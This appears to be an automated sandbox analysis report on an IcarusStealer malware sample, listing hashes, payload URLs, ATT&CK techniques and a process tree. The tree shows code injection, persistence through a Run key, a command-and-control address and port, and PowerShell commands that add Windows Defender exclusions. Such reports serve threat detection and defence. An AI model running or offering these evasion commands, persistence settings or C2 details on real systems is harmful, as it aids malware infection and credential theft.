icarusstealer | 3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f

Analysis

max time kernel
147s
max time network
149s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
06/10/2024, 01:07

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General

Target

3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe
Size

3.9MB
MD5

65a683124fc4ca1839e95322370e2b0d
SHA1

7a7eafcfa4349e40cb15ab30b5c64d3415e60b96
SHA256

3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f
SHA512

14b6d7d06f1bd02fffa5f0a4aecb8bbb7b1441597d9ac27a888f5ff441fce785809bd675c7ef7b1da7f99a8d61100e030b6c8b7b128515e8d713d4ffec54123f
SSDEEP

49152:bP70hwGvLJT/a9yLe7lAsYaxBjbdOGMneGzxgUgoJUcaqCDx6ITcP2MNoSPhaC+O:nUgoJUBZJoP2MNBajvXOSq

Score

10^/10

icarusstealer discovery execution persistence stealer

Malware Config

Extracted

Family

icarusstealer

Attributes

payload_url
https://blackhatsec.org/add.jpg

https://blackhatsec.org/remove.jpg

Signatures

IcarusStealer
Icarus is a modular stealer written in C# First adverts in July 2022.
stealer icarusstealer

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1236	powershell.exe
640	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\OcuulusUpdater = "C:\\Users\\Admin\\Music\\OcoulsUpdater\\EyesUpdater.exe"	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2704 set thread context of 2708	2704	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe	30
PID 2708 set thread context of 2812	2708	csc.exe	32

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry class 5 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
640	powershell.exe
1236	powershell.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2900	explorer.exe
Token: SeShutdownPrivilege	2900	explorer.exe
Token: SeShutdownPrivilege	2900	explorer.exe
Token: SeShutdownPrivilege	2900	explorer.exe
Token: SeShutdownPrivilege	2900	explorer.exe
Token: SeShutdownPrivilege	2900	explorer.exe
Token: SeShutdownPrivilege	2900	explorer.exe
Token: SeShutdownPrivilege	2900	explorer.exe
Token: SeDebugPrivilege	2812	cvtres.exe
Token: SeDebugPrivilege	1236	powershell.exe
Token: SeDebugPrivilege	640	powershell.exe
Token: SeShutdownPrivilege	2900	explorer.exe
Token: SeShutdownPrivilege	2900	explorer.exe
Token: SeShutdownPrivilege	2900	explorer.exe

Suspicious use of FindShellTrayWindow 27 IoCs

pid	Process
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe

Suspicious use of SendNotifyMessage 17 IoCs

pid	Process
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe
2900	explorer.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 2704 wrote to memory of 2708	2704	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe	30
PID 2704 wrote to memory of 2708	2704	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe	30
PID 2704 wrote to memory of 2708	2704	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe	30
PID 2704 wrote to memory of 2708	2704	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe	30
PID 2704 wrote to memory of 2708	2704	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe	30
PID 2704 wrote to memory of 2708	2704	3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe	30
PID 2708 wrote to memory of 2900	2708	csc.exe	31
PID 2708 wrote to memory of 2900	2708	csc.exe	31
PID 2708 wrote to memory of 2900	2708	csc.exe	31
PID 2708 wrote to memory of 2900	2708	csc.exe	31
PID 2708 wrote to memory of 2812	2708	csc.exe	32
PID 2708 wrote to memory of 2812	2708	csc.exe	32
PID 2708 wrote to memory of 2812	2708	csc.exe	32
PID 2708 wrote to memory of 2812	2708	csc.exe	32
PID 2708 wrote to memory of 2812	2708	csc.exe	32
PID 2708 wrote to memory of 2812	2708	csc.exe	32
PID 2708 wrote to memory of 2812	2708	csc.exe	32
PID 2708 wrote to memory of 2812	2708	csc.exe	32
PID 2708 wrote to memory of 2812	2708	csc.exe	32
PID 2900 wrote to memory of 2404	2900	explorer.exe	34
PID 2900 wrote to memory of 2404	2900	explorer.exe	34
PID 2900 wrote to memory of 2404	2900	explorer.exe	34
PID 2812 wrote to memory of 2168	2812	cvtres.exe	35
PID 2812 wrote to memory of 2168	2812	cvtres.exe	35
PID 2812 wrote to memory of 2168	2812	cvtres.exe	35
PID 2812 wrote to memory of 2168	2812	cvtres.exe	35
PID 2812 wrote to memory of 1800	2812	cvtres.exe	37
PID 2812 wrote to memory of 1800	2812	cvtres.exe	37
PID 2812 wrote to memory of 1800	2812	cvtres.exe	37
PID 2812 wrote to memory of 1800	2812	cvtres.exe	37
PID 2168 wrote to memory of 1236	2168	cmd.exe	39
PID 2168 wrote to memory of 1236	2168	cmd.exe	39
PID 2168 wrote to memory of 1236	2168	cmd.exe	39
PID 2168 wrote to memory of 1236	2168	cmd.exe	39
PID 1800 wrote to memory of 640	1800	cmd.exe	40
PID 1800 wrote to memory of 640	1800	cmd.exe	40
PID 1800 wrote to memory of 640	1800	cmd.exe	40
PID 1800 wrote to memory of 640	1800	cmd.exe	40

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe
"C:\Users\Admin\AppData\Local\Temp\3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2704
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    - Boot or Logon Autostart Execution: Active Setup
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2900
  - - C:\Windows\system32\ctfmon.exe
      ctfmon.exe
      4⤵
      PID:2404
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 193.142.146.64 8880 vUiuCXqqM
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2812
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2168
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1236
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1800
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
159fb1072b0d2a7c3edd1cc5171c54eb

SHA1
128382ea964999afa7bf98efce1666662b3743ce

SHA256
ee53690f825518288d10dd750fb1eb05e838ca6eb952c671ee11e0011b75cce3

SHA512
64cb354a66b8304fb52b271095ef3759fcb030726fba2da096a43951299720aad1495c216259414eb821428a7a9554476f597e56590670c9cbff9fc040912115

Download Submit
memory/2704-12-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2704-2-0x0000000000420000-0x0000000000438000-memory.dmp

Filesize
96KB

Download
memory/2704-1-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2704-4-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2704-6-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2704-5-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2704-8-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2704-7-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2704-40-0x0000000000420000-0x0000000000438000-memory.dmp

Filesize
96KB

Download
memory/2704-18-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2704-0-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2708-9-0x0000000000080000-0x0000000000102000-memory.dmp

Filesize
520KB

Download
memory/2708-17-0x0000000000080000-0x0000000000102000-memory.dmp

Filesize
520KB

Download
memory/2708-14-0x0000000000080000-0x0000000000102000-memory.dmp

Filesize
520KB

Download
memory/2708-19-0x0000000073B9E000-0x0000000073B9F000-memory.dmp

Filesize
4KB

Download
memory/2708-41-0x0000000073B90000-0x000000007427E000-memory.dmp

Filesize
6.9MB

Download
memory/2708-11-0x0000000000080000-0x0000000000102000-memory.dmp

Filesize
520KB

Download
memory/2708-27-0x0000000073B90000-0x000000007427E000-memory.dmp

Filesize
6.9MB

Download
memory/2708-10-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

Filesize
4KB

Download
memory/2812-24-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

Filesize
4KB

Download
memory/2812-21-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2812-31-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2812-29-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2812-20-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2812-22-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2812-23-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2812-26-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2900-45-0x0000000002AD0000-0x0000000002AE0000-memory.dmp

Filesize
64KB

Download